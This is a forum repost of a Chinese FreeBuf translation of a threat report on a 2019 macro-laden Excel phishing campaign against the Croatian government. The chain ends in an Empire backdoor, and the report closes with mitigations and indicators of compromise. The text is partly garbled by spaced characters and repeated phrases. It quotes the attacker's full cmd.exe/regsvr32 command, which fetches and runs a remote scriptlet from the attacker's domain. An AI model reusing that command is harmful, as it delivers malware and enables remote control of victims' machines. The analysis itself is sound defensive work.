搜索

[14589] 2019-09-15_我们是如何发现针对欧洲政府的攻击

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-09-15_我们是如何发现针对欧洲政府的攻击 我 们 是 如 何 发 现 针 对 欧 洲 政 府 的 攻 击 A l p h a _ h 4 c k   F r e e B u f   2 0 1 9 - 0 9 - 1 5 寻 找 新 型 以 及 危 险 的 网 络 威 胁 是 寻 找 新 型 以 及 危 险 的 网 络 威 胁 是 P T   E S C 安 全 中 心 的 主 要 工 作 之 一 ， 安 全 中 心 的 主 要 工 作 之 一 ， 2 0 1 9 年 中 旬 ， 年 中 旬 ， P T   E S C 的 分 析 人 员 发 现 了 一 起 针 对 克 罗 地 亚 政 府 的 网 络 攻 击 。 的 分 析 人 员 发 现 了 一 起 针 对 克 罗 地 亚 政 府 的 网 络 攻 击 。 在 这 篇 文 章 中 ， 我 们 将 针 对 这 一 攻 击 在 这 篇 文 章 中 ， 我 们 将 针 对 这 一 攻 击 活 动 进 行 分 析 ， 而 且 据 我 们 所 知 ， 这 种 新 型 的 攻 击 框 架 在 此 之 前 从 未 有 人 使 用 过 。 活 动 进 行 分 析 ， 而 且 据 我 们 所 知 ， 这 种 新 型 的 攻 击 框 架 在 此 之 前 从 未 有 人 使 用 过 。 感 染 链 感 染 链 2 0 1 9 年 4 月 2 日 ， 在 常 规 的 恶 意 软 件 监 控 活 动 中 ， P T   E S C 的 研 究 人 员 发 现 了 一 份 可 疑 的 O f f i c e 文 档 ： 这 是 一 份 e x c e l 文 件 ， 它 伪 装 成 了 包 裹 通 知 ， 并 存 储 为 了 旧 版 本 的 . x l s 格 式 （ 时 间 戳 ： 2 0 1 9 - 0 4 - 0 1   1 6 : 2 8 : 0 7   ( U T C ) ） 。 然 而 ， 该 文 件 的 “ 上 次 打 印 ” 时 间 戳 （ 2 0 1 8 - 0 7 - 2 5 0 0 : 1 2 : 3 0   ( U T C ) ） 表 明 该 文 档 曾 在 2 0 1 8 年 被 使 用 过 。 需 要 注 意 的 是 ， 文 件 的 注 释 信 息 包 含 了 W i n d o w s 控 制 台 命 令 ： 这 条 命 令 会 创 建 一 个 这 条 命 令 会 创 建 一 个 V B 脚 本 ， 运 行 之 后 会 执 行 下 列 任 务 ： 脚 本 ， 运 行 之 后 会 执 行 下 列 任 务 ： 1 、 建 立 一 条 W e b D A V 网 络 连 接 ； 2 、 下 载 并 运 行 文 件 以 备 下 一 阶 段 的 感 染 ， 需 要 借 助 合 法 的 系 统 实 用 工 具 r e g s v r 3 2 。 在 与 攻 击 者 的 服 务 器 建 立 了 H T T P ( S ) 连 接 之 后 ， 脚 本 会 发 送 一 个 N T L M 请 求 。 这 个 请 求 可 以 用 来 恢 复 N T L M 哈 希 来 进 行 p a s s - t h e - h a s h 攻 击 。 这 种 利 用 r e g s v r 3 2 来 进 行 恶 意 攻 击 的 技 术 被 称 为 S q u i b l y d o o ， 之 前 也 有 过 相 关 介 绍 。 攻 击 者 可 以 使 用 它 来 绕 过 应 用 程 序 白 名 单 ， 并 躲 避 反 病 毒 产 品 的 检 测 。 注 释 参 数 的 内 容 本 身 并 不 会 进 行 什 么 操 作 ， 而 是 会 触 发 其 他 操 作 。 当 目 标 用 户 打 开 E x c e l 文 档 之 后 ， 会 弹 出 一 条 信 息 来 要 求 用 户 启 用 宏 功 能 ： c m d . e x e / c   e c h o   S e t   o b j S h e l l   =   C r e a t e O b j e c t ( " W s c r i p t . S h e l l " ) :   o b j S h e l l . R u n " n e t   u s e   h t t p s : / / p o s t a h r . v i p " ,   0 ,   F a l s e :   W s c r i p t . S l e e p   1 0 0 0 0 : o b j S h e l l . R u n   " r e g s v r 3 2   / u   / n   / s   / i : h t t p s : / / p o s t a h r . v i p / p a g e / 1 / u p d a t e . s c t s c r o b j . d l l "
如 果 用 户 点 击 了 “ 启 用 内 容 ” 按 钮 ， 则 会 弹 出 一 条 伪 造 的 消 息 ， 其 中 包 含 C r o a t i a n   P o s t 的 l o g o 和 包 裹 通 知 ： 与 此 同 时 ， 恶 意 宏 将 运 行 文 件 注 释 中 的 命 令 ， 新 的 脚 本 将 会 添 加 到 系 统 的 启 动 项 中 ： 有 趣 的 是 ， 这 个 新 脚 本 并 不 是 由 恶 意 宏 运 行 的 ， 这 很 有 可 能 是 攻 击 者 专 门 设 计 的 ， 因 为 攻 击 者 需 要 在 重 启 并 用 户 登 录 之 后 进 行 下 一 阶 段 的 感 染 。 需 要 注 意 的 是 ， 其 中 的 代 码 结 构 非 常 好 ， 缩 进 和 格 式 都 很 整 洁 ， 并 且 从 第 三 方 源 “ 借 用 ” 了 一 些 代 码 。 而 且 攻 击 者 还 从 网 上 “ 抄 袭 ” 了 一 些 代 码 ， 并 进 行 了 修 改 ：
接 下 来 ， 我 们 看 看 下 一 阶 段 攻 击 者 如 何 使 用 r e g s v r 3 2 来 实 现 感 染 。 命 令 运 行 之 后 ， 会 从 攻 击 者 的 服 务 器 下 载 一 个 J a v a S c r i p t s c r i p t l e t ， B o d y 中 包 含 有 B a s e 6 4 编 码 的 数 据 。 解 码 之 后 ， 数 据 会 被 反 序 列 化 ， 并 由 . N E T 框 架 运 行 。 这 里 的 部 分 代 码 也 是 攻 击 者 从 网 上 “ 借 鉴 ” 过 来 的 ：
从 表 面 上 看 ， 攻 击 者 对 所 使 用 的 工 具 并 没 有 非 常 深 刻 的 了 解 。 比 如 说 ， s c r i p t l e t 调 用 了 s e t v e r s i o n 函 数 ， 但 并 没 做 任 何 其 他 的 事 情 ， 在 线 提 供 的 一 个 示 例 s c r i p t l e t 也 是 如 此 。 解 包 并 运 行 之 后 ， 代 码 会 下 载 一 个 . N E T 可 执 行 文 件 （ P E 文 件 ） 。 编 译 后 ， 源 代 码 文 件 夹 的 路 径 仍 然 存 在 。 这 里 的 - m a s t e r 后 缀 表 明 ， 这 些 代 码 是 直 接 从 代 码 库 中 克 隆 过 来 的 。 其 中 一 个 目 录 路 径 为 S h a r p P i c k 的 组 件 ， 它 可 以 用 来 下 载 并 运 行 跟 . N E T 有 依 赖 关 系 的 P o w e r S h e l l 代 码 ， 而 不 需 要 额 外 的 代 码 解 释 器 。 反 编 译 之 后 ， 我 们 得 到 了 P o w e r S h e l l 脚 本 代 码 ：
这 段 代 码 会 进 行 下 列 操 作 ： 这 段 代 码 会 进 行 下 列 操 作 ： 1 、 创 建 一 个 对 象 来 与 W e b 服 务 器 交 互 ， 包 含 U s e r - A g e n t 、 C o o k i e 和 代 理 设 置 。 2 、 P a y l o a d 会 从 上 述 地 址 中 下 载 。 3 、 使 用 R C 4 密 钥 解 码 并 运 行 下 载 下 来 的 数 据 。 不 幸 的 是 ， C 2 服 务 器 在 此 时 已 经 无 法 访 问 了 ， 所 以 我 们 无 法 获 取 到 之 前 的 数 据 了 。 但 是 ， 调 查 结 果 显 示 这 个 感 染 链 为 E m p i r e   B a c k d o o r （ 输 入 E m p i r e 后 渗 透 利 用 框 架 ） ， 它 可 以 帮 助 攻 击 者 远 程 控 制 目 标 用 户 的 计 算 机 。 缓 解 方 案 缓 解 方 案 1 、 监 控 特 定 白 名 单 应 用 程 序 的 使 用 ： c e r t u t i l , r e g s v r 3 2 ,   m s b u i l d ,   n e t ,   w m i c 。 2 、 扫 描 并 分 析 邮 件 附 件 以 及 邮 件 中 的 链 接 。 3 、 定 期 扫 描 联 网 计 算 机 的 R A M 。 入 侵 威 胁 指 标 入 侵 威 胁 指 标 I o C 0 a d b 7 2 0 4 c e 6 b d e 6 6 7 c 5 a b d 3 1 e 4 d e a 1 6 4 1 3 d b 3 3 c 8 3 e e 6 8 0 e 0 a 3 b 4 5 4 2 2 8 4 6 2 e 7 3 f 7 8 1 8 4 c d 5 5 d 1 9 2 c d f 6 2 7 2 5 2 7 c 6 2 d 2 f f 8 9 7 9 e 7 2 8 9 9 a f 1 e 5 0 c 1 8 1 8 9 3 4 0 e 4 a 1 e 4 6 e 0 8 3 1 b 0 8 d 0 c 6 5 0 c 8 a e 9 a b 8 b 4 a 1 0 a 1 9 9 1 9 2 9 2 5 3 0 d 1 b 5 4 6 d d f 2 f 0 9 6 6 b b e 1 0 7 7 1 5 2 1 f c 8 4 b 7 c 8 7 1 b f c d 3 4 6 b 3 2 4 6 3 6 4 1 4 0 c d 6 0 f h x x p s : / / p o s t a h r . v i p / p a g e / 1 / u p d a t e . s c t h x x p s : / / p o s t e i t a l i a n e . l i v e / o w a / m a i l / a r c h i v e . s r f h x x p s : / / k o n z u m . w i n / b a t 3 . t x t h x x p : / / 1 9 8 . 4 6 . 1 8 2 . 1 5 8 / b a t 3 . t x t h x x p s : / / 1 7 6 . 1 0 5 . 2 5 5 . 5 9 : 8 0 8 9 [ ] 1 7 6 . 1 0 5 . 2 5 5 . 5 9 w e b d a v m s b u i l d . x m l p o s t a h r . o n l i n e 1 7 6 . 1 0 5 . 2 5 4 . 5 2 9 3 . 1 7 0 . 1 0 5 . 3 2 *   参 考 来 源 ： 参 考 来 源 ： p t s e c u r i t y ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理